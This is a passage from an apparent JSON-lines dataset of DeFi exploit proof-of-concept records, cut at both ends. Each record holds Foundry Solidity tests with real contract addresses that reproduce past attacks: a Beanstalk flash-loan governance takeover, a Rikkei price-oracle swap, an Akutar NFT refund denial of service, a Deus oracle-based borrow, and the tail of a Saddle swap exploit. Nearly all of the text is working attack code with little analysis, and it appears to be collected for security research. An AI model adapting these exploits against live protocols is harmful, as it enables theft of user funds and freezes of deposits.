block.timestamp);\n console.log(\"saddleUsdV2 swapped: %s\", IERC20(saddleUsdV2).balanceOf(address(this)));\n }\n\n function swapFromSaddle() internal {\n //Swap SaddleUSDV2 for SUSD\n uint256 amount = IERC20(saddleUsdV2).balanceOf(address(this));\n IERC20(saddleUsdV2).approve(saddlepool, amount);\n ISaddle(saddlepool).swap(1, 0, amount, 1, block.timestamp);\n console.log(\"SUSD swapped: %s\", IERC20(susd).balanceOf(address(this)));\n }\n}\n", "type": "exploit_poc", "protocol": "Saddle", "date": "2022-04", "file_name": "Saddle_exp.sol", "attack_vector": "flash_loan", "content_hash": "99a82fd0bb49f7ec", "collected_at": "2026-01-07T10:59:16.519700", "_source": "postmortems", "chain": "unknown", "block_number": 14684306, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": true, "severity": "medium", "severity_raw": null, "category": "flash-loan", "exploit_code": "function testExploit() public {\n IEuler(eulerLoans).flashLoan(address(this), usdc, 15_000_000e6, new bytes(0));\n console.log(\"USDC hacked: %s\", IERC20(usdc).balanceOf(address(this)));\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 4.72, "quality_estimate": "low", "title": "Saddle Exploit (2022-04)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\n// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol v0.5.3. SEE SOURCE BELOW. !!\npragma solidity >=0.7.0 <0.9.0;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\ncontract ContractTest is Test {\n CheatCodes cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n ILendingPool aavelendingPool = ILendingPool(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9);\n IERC20 dai = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);\n IERC20 usdc = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);\n IERC20 usdt = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);\n IERC20 bean = IERC20(0xDC59ac4FeFa32293A95889Dc396682858d52e5Db);\n IERC20 crvbean = IERC20(0x3a70DfA7d2262988064A2D051dd47521E43c9BdD);\n IERC20 threeCrv = IERC20(0x6c3F90f043a72FA612cbac8115EE7e52BDe6E490);\n IUniswapV2Router uniswapv2 = IUniswapV2Router(payable(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D));\n ICurvePool threeCrvPool = ICurvePool(0xbEbc44782C7dB0a1A60Cb6fe97d0b483032FF1C7);\n ICurvePool bean3Crv_f = ICurvePool(0x3a70DfA7d2262988064A2D051dd47521E43c9BdD);\n IBeanStalk siloV2Facet = IBeanStalk(0xC1E088fC1323b20BCBee9bd1B9fC9546db5624C5);\n IBeanStalk beanstalkgov = IBeanStalk(0xC1E088fC1323b20BCBee9bd1B9fC9546db5624C5);\n address maliciousProposal = 0xE5eCF73603D98A0128F05ed30506ac7A663dBb69;\n uint32 bip = 18;\n\n constructor() {\n cheat.createSelectFork(\"mainnet\", 14_595_905); // fork mainnet at block 14595905\n }\n\n function testExploit() public {\n address[] memory path = new address[](2);\n path[0] = uniswapv2.WETH();\n path[1] = address(bean);\n uniswapv2.swapExactETHForTokens{value: 75 ether}(0, path, address(this), block.timestamp + 120);\n emit log_named_uint(\"Initial USDC balancer of attacker\", usdc.balanceOf(address(this)));\n\n emit log_named_uint(\n \"After initial ETH -> BEAN swap, Bean balance of attacker:\", bean.balanceOf(address(this)) / 1e6\n );\n bean.approve(address(siloV2Facet), type(uint256).max);\n siloV2Facet.depositBeans(bean.balanceOf(address(this)));\n emit log_named_uint(\n \"After BEAN deposit to SiloV2Facet, Bean balance of attacker:\", bean.balanceOf(address(this)) / 1e6\n );\n IBeanStalk.FacetCut[] memory _diamondCut = new IBeanStalk.FacetCut[](0);\n bytes memory data = abi.encodeWithSelector(ContractTest.sweep.selector);\n //emit log_named_uint(\"BIP:\", bip);\n // function propose(\n // IDiamondCut.FacetCut[] calldata _diamondCut,\n // address _init,\n // bytes calldata _calldata,\n // uint8 _pauseOrUnpause\n // )\n // https://dashboard.tenderly.co/tx/mainnet/0x68cdec0ac76454c3b0f7af0b8a3895db00adf6daaf3b50a99716858c4fa54c6f\n beanstalkgov.propose(_diamondCut, address(this), data, 3);\n\n cheat.warp(block.timestamp + 24 * 60 * 60); //travelling 1 day in the future\n\n dai.approve(address(aavelendingPool), type(uint256).max);\n usdc.approve(address(aavelendingPool), type(uint256).max);\n TransferHelper.safeApprove(address(usdt), address(aavelendingPool), type(uint256).max);\n bean.approve(address(aavelendingPool), type(uint256).max);\n dai.approve(address(threeCrvPool), type(uint256).max);\n usdc.approve(address(threeCrvPool), type(uint256).max);\n TransferHelper.safeApprove(address(usdt), address(threeCrvPool), type(uint256).max);\n bean.approve(address(siloV2Facet), type(uint256).max);\n threeCrv.approve(address(bean3Crv_f), type(uint256).max);\n IERC20(address(bean3Crv_f)).approve(address(siloV2Facet), type(uint256).max);\n\n address[] memory assets = new address[](3);\n assets[0] = address(dai);\n assets[1] = address(usdc);\n assets[2] = address(usdt);\n\n uint256[] memory amounts = new uint256[](3);\n amounts[0] = 350_000_000 * 10 ** dai.decimals();\n amounts[1] = 500_000_000 * 10 ** usdc.decimals();\n amounts[2] = 150_000_000 * 10 ** usdt.decimals();\n\n uint256[] memory modes = new uint256[](3);\n aavelendingPool.flashLoan(address(this), assets, amounts, modes, address(this), new bytes(0), 0);\n emit log_named_uint(\"After Flashloan repay, usdc balance of attacker:\", usdc.balanceOf(address(this)));\n usdc.transfer(msg.sender, usdc.balanceOf(address(this)));\n }\n\n function executeOperation(\n address[] calldata assets,\n uint256[] calldata amounts,\n uint256[] calldata premiums,\n address initiator,\n bytes calldata params\n ) external returns (bool) {\n emit log_named_uint(\"After deposit, Bean balance of attacker:\", bean.balanceOf(address(this)) / 1e6); // @note redundant log\n uint256[3] memory tempAmounts;\n tempAmounts[0] = amounts[0];\n tempAmounts[1] = amounts[1];\n tempAmounts[2] = amounts[2];\n threeCrvPool.add_liquidity(tempAmounts, 0);\n uint256[2] memory tempAmounts2;\n tempAmounts2[0] = 0;\n tempAmounts2[1] = threeCrv.balanceOf(address(this));\n bean3Crv_f.add_liquidity(tempAmounts2, 0);\n emit log_named_uint(\n \"After adding 3crv liquidity , bean3Crv_f balance of attacker:\", crvbean.balanceOf(address(this))\n );\n emit log_named_uint(\n \"After Curvebean3Crv_f balance of attacker:\", IERC20(address(bean3Crv_f)).balanceOf(address(this))\n ); //@note logging balance for same token ?\n siloV2Facet.deposit(address(bean3Crv_f), IERC20(address(bean3Crv_f)).balanceOf(address(this)));\n //beanstalkgov.vote(bip); --> this line not needed, as beanstalkgov.propose() already votes for our bip\n beanstalkgov.emergencyCommit(bip);\n emit log_named_uint(\n \"After calling beanstalkgov.emergencyCommit() , bean3Crv_f balance of attacker:\",\n crvbean.balanceOf(address(this))\n );\n bean3Crv_f.remove_liquidity_one_coin(IERC20(address(bean3Crv_f)).balanceOf(address(this)), 1, 0);\n emit log_named_uint(\n \"After removing liquidity from crvbean pool , bean3Crv_f balance of attacker:\",\n crvbean.balanceOf(address(this))\n );\n tempAmounts[0] = amounts[0] + premiums[0];\n tempAmounts[1] = amounts[1] + premiums[1];\n tempAmounts[2] = amounts[2] + premiums[2];\n emit log_named_uint(\"premiums[0]:\", premiums[0]);\n emit log_named_uint(\"premiums[1]:\", premiums[1]);\n emit log_named_uint(\"premiums[2]:\", premiums[2]);\n emit log_named_uint(\"tempAmounts[0]:\", tempAmounts[0]);\n emit log_named_uint(\"tempAmounts[1]:\", tempAmounts[1]);\n emit log_named_uint(\"tempAmounts[2]:\", tempAmounts[2]);\n\n threeCrvPool.remove_liquidity_imbalance(tempAmounts, type(uint256).max);\n threeCrvPool.remove_liquidity_one_coin(threeCrv.balanceOf(address(this)), 1, 0);\n\n emit log_named_uint(\n \"After removing 3crv liquidity from 3crv pool, usdc balance of attacker:\", usdc.balanceOf(address(this))\n );\n\n return true;\n }\n\n function sweep() external {\n IERC20 erc20bean3Crv_f = IERC20(0x3a70DfA7d2262988064A2D051dd47521E43c9BdD);\n erc20bean3Crv_f.transfer(msg.sender, erc20bean3Crv_f.balanceOf(address(this))); //Just for verification, so keep other tokens\n }\n}\n", "type": "exploit_poc", "protocol": "Beanstalk", "date": "2022-04", "file_name": "Beanstalk_exp.sol", "attack_vector": "flash_loan", "content_hash": "07c9396063f71acd", "collected_at": "2026-01-07T10:59:16.519749", "_source": "postmortems", "chain": "unknown", "block_number": 14595905, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": true, "severity": "medium", "severity_raw": null, "category": "flash-loan", "exploit_code": "function testExploit() public {\n address[] memory path = new address[](2);\n path[0] = uniswapv2.WETH();\n path[1] = address(bean);\n uniswapv2.swapExactETHForTokens{value: 75 ether}(0, path, address(this), block.timestamp + 120);\n emit log_named_uint(\"Initial USDC balancer of attacker\", usdc.balanceOf(address(this)));\n\n emit log_named_uint(\n \"After initial ETH -> BEAN swap, Bean balance of attacker:\", bean.balanceOf(address(this)) / 1e6\n );\n bean.approve(address(siloV2Facet), type(uint256).max);\n siloV2Facet.depositBeans(bean.balanceOf(address(this)));\n emit log_named_uint(\n \"After BEAN deposit to SiloV2Facet, Bean balance of attacker:\", bean.balanceOf(address(this)) / 1e6\n );\n IBeanStalk.FacetCut[] memory _diamondCut = new IBeanStalk.FacetCut[](0);\n bytes memory data = abi.encodeWithSelector(ContractTest.sweep.selector);\n //emit log_named_uint(\"BIP:\", bip);\n // function propose(\n // IDiamondCut.FacetCut[] calldata _diamondCut,\n // address _init,\n // bytes calldata _calldata,\n // uint8 _pauseOrUnpause\n // )\n // https://dashboard.tenderly.co/tx/mainnet/0x68cdec0ac76454c3b0f7af0b8a3895db00adf6daaf3b50a99716858c4fa54c6f\n beanstalkgov.propose(_diamondCut, address(this), data, 3);\n\n cheat.warp(block.timestamp + 24 * 60 * 60); //travelling 1 day in the future\n\n dai.approve(address(aavelendingPool), type(uint256).max);\n usdc.approve(address(aavelendingPool), type(uint256).max);\n TransferHelper.safeApprove(address(usdt), address(aavelendingPool), type(uint256).max);\n bean.approve(address(aavelendingPool), type(uint256).max);\n dai.approve(address(threeCrvPool), type(uint256).max);\n usdc.approve(address(threeCrvPool), type(uint256).max);\n TransferHelper.safeApprove(address(usdt), address(threeCrvPool), type(uint256).max);\n bean.approve(address(siloV2Facet), type(uint256).max);\n threeCrv.approve(address(bean3Crv_f), type(uint256).max);\n IERC20(address(bean3Crv_f)).approve(address(siloV2Facet), type(uint256).max);\n\n address[] memory assets = new address[](3);\n assets[0] = address(dai);\n assets[1] = address(usdc);\n assets[2] = address(usdt);\n\n uint256[] memory amounts = new uint256[](3);\n amounts[0] = 350_000_000 * 10 ** dai.decimals();\n amounts[1] = 500_000_000 * 10 ** usdc.decimals();\n amounts[2] = 150_000_000 * 10 ** usdt.decimals();\n\n uint256[] memory modes = new uint256[](3);\n aavelendingPool.flashLoan(address(this), assets, amounts, modes, address(this), new bytes(0), 0);\n emit log_named_uint(\"After Flashloan repay, usdc balance of attacker:\", usdc.balanceOf(address(this)));\n usdc.transfer(msg.sender, usdc.balanceOf(address(this)));\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 6, "quality_estimate": "medium", "title": "Beanstalk Exploit (2022-04)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\n// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol v0.5.3. SEE SOURCE BELOW. !!\npragma solidity >=0.7.0 <0.9.0;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\ncontract ContractTest is Test {\n IERC20 usdc = IERC20(0x8AC76a51cc950d9822D68b83fE1Ad97B32Cd580d);\n IRToken rbnb = IRToken(0x157822aC5fa0Efe98daa4b0A55450f4a182C10cA);\n IRToken rusdc = IRToken(0x916e87d16B2F3E097B9A6375DC7393cf3B5C11f5);\n ICointroller cointroller = ICointroller(0x4f3e801Bd57dC3D641E72f2774280b21d31F64e4);\n ISimplePriceOracle simplePriceOracle = ISimplePriceOracle(0xD55f01B4B51B7F48912cD8Ca3CDD8070A1a9DBa5);\n IPriceFeed chainlinkBNBUSDPriceFeed = IPriceFeed(0x0567F2323251f0Aab15c8dFb1967E4e8A7D42aeE);\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"bsc\", 16_956_474); //fork bsc at block 16956474\n }\n\n function testExploit() public {\n emit log_named_uint(\"Before exploit, USDC balance of attacker:\", usdc.balanceOf(address(this)));\n rbnb.approve(address(cointroller), type(uint256).max);\n address[] memory rTokens = new address[](1);\n rTokens[0] = address(rbnb);\n cointroller.enterMarkets(rTokens);\n rbnb.mint{value: 100_000_000_000_000}();\n simplePriceOracle.setOracleData(address(rbnb), address(this));\n rusdc.borrow(rusdc.getCash());\n rusdc.transfer(msg.sender, rusdc.balanceOf(address(this)));\n simplePriceOracle.setOracleData(address(rbnb), address(chainlinkBNBUSDPriceFeed));\n emit log_named_uint(\"After exploit, USDC balance of attacker:\", usdc.balanceOf(address(this)));\n }\n\n function decimals() external view returns (uint8) {\n return chainlinkBNBUSDPriceFeed.decimals();\n }\n\n function latestRoundData()\n external\n view\n returns (uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound)\n {\n (roundId, answer, startedAt, updatedAt, answeredInRound) = chainlinkBNBUSDPriceFeed.latestRoundData();\n answer = answer * 1e10;\n }\n}\n", "type": "exploit_poc", "protocol": "Rikkei", "date": "2022-04", "file_name": "Rikkei_exp.sol", "attack_vector": "oracle_manipulation", "content_hash": "b7b10d175753b0d8", "collected_at": "2026-01-07T10:59:16.519812", "_source": "postmortems", "chain": "unknown", "block_number": 16956474, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": true, "severity": "medium", "severity_raw": null, "category": "oracle-manipulation", "exploit_code": "function testExploit() public {\n emit log_named_uint(\"Before exploit, USDC balance of attacker:\", usdc.balanceOf(address(this)));\n rbnb.approve(address(cointroller), type(uint256).max);\n address[] memory rTokens = new address[](1);\n rTokens[0] = address(rbnb);\n cointroller.enterMarkets(rTokens);\n rbnb.mint{value: 100_000_000_000_000}();\n simplePriceOracle.setOracleData(address(rbnb), address(this));\n rusdc.borrow(rusdc.getCash());\n rusdc.transfer(msg.sender, rusdc.balanceOf(address(this)));\n simplePriceOracle.setOracleData(address(rbnb), address(chainlinkBNBUSDPriceFeed));\n emit log_named_uint(\"After exploit, USDC balance of attacker:\", usdc.balanceOf(address(this)));\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 4.08, "quality_estimate": "low", "title": "Rikkei Exploit (2022-04)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n/*\nAkutar NFT Denial of Service(DoS) Exploit PoC\n\nThere are two serious logic vulnerabilities\n\n1. First can cause a DoS attack due to the missing check if the bidder is a contract. As a result, the attacker can call the revert() and stop the honest bidders from getting back their bid amount.\n\n2. The Second will make the project fund (more than 34M USD) being locked forever due to incorrect check in the require statement.\n\nforge test --contracts ./src/test/AkutarNFT_exp.sol -vv \n*/\ncontract AkutarNFTExploit is Test {\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n IAkutarNFT akutarNft = IAkutarNFT(0xF42c318dbfBaab0EEE040279C6a2588Fa01a961d);\n\n function setUp() public {\n cheats.createSelectFork(\"mainnet\", 14_636_844); // fork mainnet at 14636844\n }\n\n function testDOSAttack() public {\n address honestUser = 0xca2eB45533a6D5E2657382B0d6Ec01E33a425BF4;\n address maliciousUser = address(this); // malicious User is a contract address\n\n cheats.prank(maliciousUser); //maliciousUser makes a bid\n akutarNft.bid{value: 3.5 ether}(1);\n console.log(\"honestUser Balance before Bid: \", honestUser.balance / 1 ether);\n\n cheats.prank(honestUser); //honestUser makes a bid\n akutarNft.bid{value: 3.75 ether}(1);\n console.log(\"honestUser Balance after Bid: \", honestUser.balance / 1 ether);\n\n //Set the block.height to the time when the auction was over and processRefunds() can be invoked\n //https://etherscan.io/tx/0x62d280abc60f8b604175ab24896c989e6092e496ac01f2f5399b2a62e9feaacf\n //use - https://www.epochconverter.com/ for UTC <-> epoch\n cheats.warp(1_650_674_809);\n\n cheats.prank(maliciousUser);\n try akutarNft.processRefunds() {}\n catch Error(string memory Exception) {\n console.log(\"processRefunds() REVERT : \", Exception);\n }\n //Since the honestUser's bid was after maliciousUser's bid, the bid amount of the honestUser is never returned due to the revert Exception\n console.log(\"honestUser Balance post processRefunds: \", honestUser.balance / 1 ether);\n }\n\n function testclaimProjectFunds() public {\n address ownerOfAkutarNFT = 0xCc0eCD808Ce4fEd81f0552b3889656B28aa2BAe9;\n\n //Set the block.height to the time when the auction was over and claimProjectFunds() can be invoked\n cheats.warp(1_650_672_435);\n\n cheats.prank(ownerOfAkutarNFT);\n try akutarNft.claimProjectFunds() {}\n catch Error(string memory Exception) {\n console.log(\"claimProjectFunds() ERROR : \", Exception);\n }\n }\n\n fallback() external {\n revert(\"CAUSE REVERT !!!\");\n }\n}\n", "type": "exploit_poc", "protocol": "AkutarNFT", "date": "2022-04", "file_name": "AkutarNFT_exp.sol", "attack_vector": null, "content_hash": "af9bd97b4f1cf2d9", "collected_at": "2026-01-07T10:59:16.519858", "_source": "postmortems", "chain": "ethereum", "block_number": 14636844, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "function testDOSAttack() public {\n address honestUser = 0xca2eB45533a6D5E2657382B0d6Ec01E33a425BF4;\n address maliciousUser = address(this); // malicious User is a contract address\n\n cheats.prank(maliciousUser); //maliciousUser makes a bid\n akutarNft.bid{value: 3.5 ether}(1);\n console.log(\"honestUser Balance before Bid: \", honestUser.balance / 1 ether);\n\n cheats.prank(honestUser); //honestUser makes a bid\n akutarNft.bid{value: 3.75 ether}(1);\n console.log(\"honestUser Balance after Bid: \", honestUser.balance / 1 ether);\n\n //Set the block.height to the time when the auction was over and processRefunds() can be invoked\n //https://etherscan.io/tx/0x62d280abc60f8b604175ab24896c989e6092e496ac01f2f5399b2a62e9feaacf\n //use - https://www.epochconverter.com/ for UTC <-> epoch\n cheats.warp(1_650_674_809);\n\n cheats.prank(maliciousUser);\n try akutarNft.processRefunds() {}\n catch Error(string memory Exception) {\n console.log(\"processRefunds() REVERT : \", Exception);\n }\n //Since the honestUser's bid was after maliciousUser's bid, the bid amount of the honestUser is never returned due to the revert Exception\n console.log(\"honestUser Balance post processRefunds: \", honestUser.balance / 1 ether);\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 3.42, "quality_estimate": "low", "title": "AkutarNFT Exploit (2022-04)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity 0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\ncontract ContractTest is Test {\n CheatCodes cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n IBaseV1Router01 router = IBaseV1Router01(0xa38cd27185a464914D3046f0AB9d43356B34829D);\n\n IDeiLenderSolidex DeiLenderSolidex = IDeiLenderSolidex(0x8D643d954798392403eeA19dB8108f595bB8B730);\n\n IUSDC usdc = IUSDC(0x04068DA6C83AFCFA0e13ba15A6696662335D5B75);\n\n IERC20 dei = IERC20(0xDE12c7959E1a72bbe8a5f7A1dc8f8EeF9Ab011B3);\n\n ISSPv4 sspv4 = ISSPv4(0xbe9dE5747317F27f9A39ea5924ed4c51b34fB0d1);\n\n IERC20 lpToken = IERC20(0x5821573d8F04947952e76d94f3ABC6d7b43bF8d0);\n\n IERC20 DepositToken = IERC20(0xD82001B651F7fb67Db99C679133F384244e20E79);\n\n address owner_of_usdc = 0xC564EE9f21Ed8A2d8E7e76c085740d5e4c5FaFbE;\n\n ILpDepositor LpDepositor = ILpDepositor(0x26E1A0d851CF28E697870e1b7F053B605C8b060F);\n\n IOracle oracle = IOracle(0x8129026c585bCfA530445a6267f9389057761A00);\n\n function setUp() public {\n cheat.createSelectFork(\"fantom\", 37_093_708); // fork fantom at block 37093708\n }\n\n function testExample() public {\n cheat.prank(owner_of_usdc);\n\n usdc.Swapin(\n 0x33e48143c6ea17476eeabfa202d8034190ea3f2280b643e2570c54265fe33c98, address(this), 150_000_000 * 10 ** 6\n );\n\n uint256 balance_of_usdc = usdc.balanceOf(address(this));\n\n emit log_named_uint(\"The USDC I have now\", balance_of_usdc);\n\n usdc.approve(address(sspv4), type(uint256).max);\n\n sspv4.buyDei(1_000_000 * 10 ** 6);\n\n uint256 balance_of_dei = dei.balanceOf(address(this));\n\n emit log_named_uint(\"The DEI after buying DEI\", balance_of_dei);\n\n balance_of_usdc = usdc.balanceOf(address(this));\n\n emit log_named_uint(\"The USDC after buying DEI\", balance_of_usdc);\n\n usdc.approve(address(router), type(uint256).max);\n\n dei.approve(address(router), type(uint256).max);\n\n router.addLiquidity(\n address(dei),\n address(usdc),\n true,\n 894_048_109_294_000_000_000_000,\n 965_495_000_000,\n 876_167_147_108_120_000_000_000,\n 946_185_100_000,\n address(this),\n block.timestamp\n );\n\n uint256 balance_of_LpToken = lpToken.balanceOf(address(this));\n\n emit log_named_uint(\"The LPToken After adding Liquidity\", balance_of_LpToken);\n\n lpToken.approve(address(LpDepositor), type(uint256).max);\n\n LpDepositor.deposit(address(lpToken), balance_of_LpToken);\n\n balance_of_LpToken = lpToken.balanceOf(address(this));\n\n uint256 balance_of_DepositToken = DepositToken.balanceOf(address(this));\n\n emit log_named_uint(\"The DepositToken After depositting LPtoken\", balance_of_DepositToken);\n\n DepositToken.approve(address(DeiLenderSolidex), type(uint256).max);\n\n DeiLenderSolidex.addCollateral(address(this), balance_of_DepositToken);\n\n balance_of_DepositToken = DepositToken.balanceOf(address(this));\n\n emit log_named_uint(\"The DepositToken After addCollateral\", balance_of_DepositToken);\n\n balance_of_usdc = usdc.balanceOf(address(this));\n\n emit log_named_uint(\"The USDC I have now\", balance_of_usdc);\n\n usdc.approve(address(router), type(uint256).max);\n\n router.swapExactTokensForTokensSimple(\n 143_200_000_000_000, 0, address(usdc), address(dei), true, address(this), block.timestamp\n );\n\n balance_of_dei = dei.balanceOf(address(this));\n\n emit log_named_uint(\"The DEI I have after swapping\", balance_of_dei);\n\n SchnorrSign memory sig = SchnorrSign(\n 1_835_036_472_718_200_664_753_898_924_933_875_196_349_373_787_186_253_604_571_797_551_094_739_683_650,\n 0xF096EC73cB49B024f1D93eFe893E38337E7a099a,\n 0xD58D8931b98942EE19C431B72f4Bc8B3eD28d8DF\n );\n\n SchnorrSign[] memory sigs = new SchnorrSign[](1);\n\n sigs[0] = sig;\n\n bytes memory repID = \"0x01701220183a8e97b39ebe3c38b6166cd7c9ddfe3c38fd76352e5652b9c25467aa47b040\";\n\n uint256 price = oracle.getOnChainPrice();\n\n emit log_named_uint(\"The price from Oracle\", price);\n\n cheat.warp(1_651_113_560);\n\n emit log_named_uint(\"the time now\", block.timestamp);\n\n DeiLenderSolidex.borrow(\n address(this),\n 17_246_885_701_212_305_622_476_302,\n 20_923_953_265_992_870_251_804_289,\n 1_651_113_560,\n repID,\n sigs\n );\n\n balance_of_dei = dei.balanceOf(address(this));\n\n emit log_named_uint(\"The DEI after borrowing\", balance_of_dei);\n\n router.swapExactTokensForTokensSimple(\n 12_000_000_000_000_000_000_000_000, 0, address(dei), address(usdc), true, address(this), block.timestamp\n );\n\n usdc.transfer(owner_of_usdc, 150_000_000 * 10 ** 6);\n\n balance_of_dei = dei.balanceOf(address(this));\n\n balance_of_usdc = usdc.balanceOf(address(this));\n\n emit log_named_uint(\"The USDC after paying back\", balance_of_usdc);\n\n emit log_named_uint(\"The DEI after paying back\", balance_of_dei);\n }\n}\n", "type": "exploit_poc", "protocol": "deus", "date": "2022-04", "file_name": "deus_exp.sol", "attack_vector": "oracle_manipulation", "content_hash": "3a82055f0016ca7e", "collected_at": "2026-01-07T10:59:16.519908", "_source": "postmortems", "chain": "unknown", "block_number": 37093708, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": true, "severity": "medium", "severity_raw": null, "category": "oracle-manipulation", "exploit_code": "function testExample() public {\n cheat.prank(owner_of_usdc);\n\n usdc.Swapin(\n 0x33e48143c6ea17476eeabfa202d8034190ea3f2280b643e2570c54265fe33c98, address(this), 150_000_000 * 10 ** 6\n );\n\n uint256 balance_of_usdc = usdc.balanceOf(address(this));\n\n emit log_named_uint(\"The USDC I have now\", balance_of_usdc);\n\n usdc.approve(address(sspv4), type(uint256).max);\n\n sspv4.buyDei(1_000_000 * 10 ** 6);\n\n uint256 balance_of_dei = dei.balanceOf(address(this));\n\n emit log_named_uint(\"The DEI after buying DEI\", balance_of_dei);\n\n balance_of_usdc = usdc.balanceOf(address(this));\n\n emit log_named_uint(\"The USDC after buying DEI\", balance_of_usdc);\n\n usdc.approve(address(router), type(uint256).max);\n\n dei.approve(address(router), type(uint256).max);\n\n router.addLiquidity(\n address(dei),\n address(usdc),\n true,\n 894_048_109_294_000_000_000_000,\n 965_495_000_000,\n 876_167_147_108_120_000_000_000,\n 946_185_100_000,\n address(this),\n block.timestamp\n );\n\n uint256 balance_of_LpToken = lpToken.balanceOf(address(this));\n\n emit log_named_uint(\"The LPToken After adding Liquidity\", balance_of_LpToken);\n\n lpToken.approve(address(LpDepositor), type(uint256).max);\n\n LpDepositor.deposit(address(lpToken), balance_of_LpToken);\n\n balance_of_LpToken = lpToken.balanceOf(address(this));\n\n uint256 balance_of_DepositToken = DepositToken.balanceOf(address(this));\n\n emit log_named_uint(\"The DepositToken After depositting LPtoken\", balance_of_DepositToken);\n\n DepositToken.approve(address(DeiLenderSolidex), type(uint256).max);\n\n DeiLenderSolidex.addCollateral(address(this), balance_of_DepositToken);\n\n balance_of_DepositToken = DepositToken.balanceOf(address(this));\n\n emit log_named_uint(\"The DepositToken After addCollateral\", balance_of_DepositToken);\n\n balance_of_usdc = usdc.balanceOf(address(this));\n\n emit log_named_uint(\"The USDC I have now\", balance_of_usdc);\n\n usdc.approve(address(router), type(uint256).max);\n\n router.swapExactTokensForTokensSimple(\n 143_200_000_000_000, 0, address(usdc), address(dei), true, address(this), block.timestamp\n );\n\n balance_of_dei = dei.balanceOf(address(this));\n\n emit log_named_uint(\"The DEI I have after swapping\", balance_of_dei);\n\n SchnorrSign memory sig = SchnorrSign(\n 1_835_036_472_718_200_664_753_898_924_933_875_196_349_373_787_186_253_604_571_797_551_094_739_683_650,\n 0xF096EC73cB49B024f1D93eFe893E38337E7a099a,\n 0xD58D8931b98942EE19C431B72f4Bc8B3eD28d8DF\n );\n\n SchnorrSign[] memory sigs = new SchnorrSign[](1);\n\n sigs[0] = sig;\n\n bytes memory repID = \"0x01701220183a8e97b39ebe3c38b6166cd7c9ddfe3c38fd76352e5652b9c25467aa47b040\";\n\n uint256 price = oracle.getOnChainPrice();\n\n emit log_named_uint(\"The price from Oracle\", price);\n\n cheat.warp(1_651_113_560);\n\n emit log_named_uint(\"the time now\", block.timestamp);\n\n DeiLenderSolidex.borrow(\n address(this),\n 17_246_885_701_212_305_622_476_302,\n 20_923_953_265_992_870_251_804_289,\n 1_651_113_560,\n repID,\n sigs\n );\n\n balance_of_dei = dei.balanceOf(address(this));\n\n emit log_named_uint(\"The DEI after borrowing\", balance_of_dei);\n\n router.swapExactTokensForTokensSimple(\n 12_000_000_000_000_000_000_000_000, 0, address(dei), address(usdc), true, address(this), block.timestamp\n );\n\n usdc.transfer(owner_of_usdc, 150_000_000 * 10 ** 6);\n\n balance_of_dei = 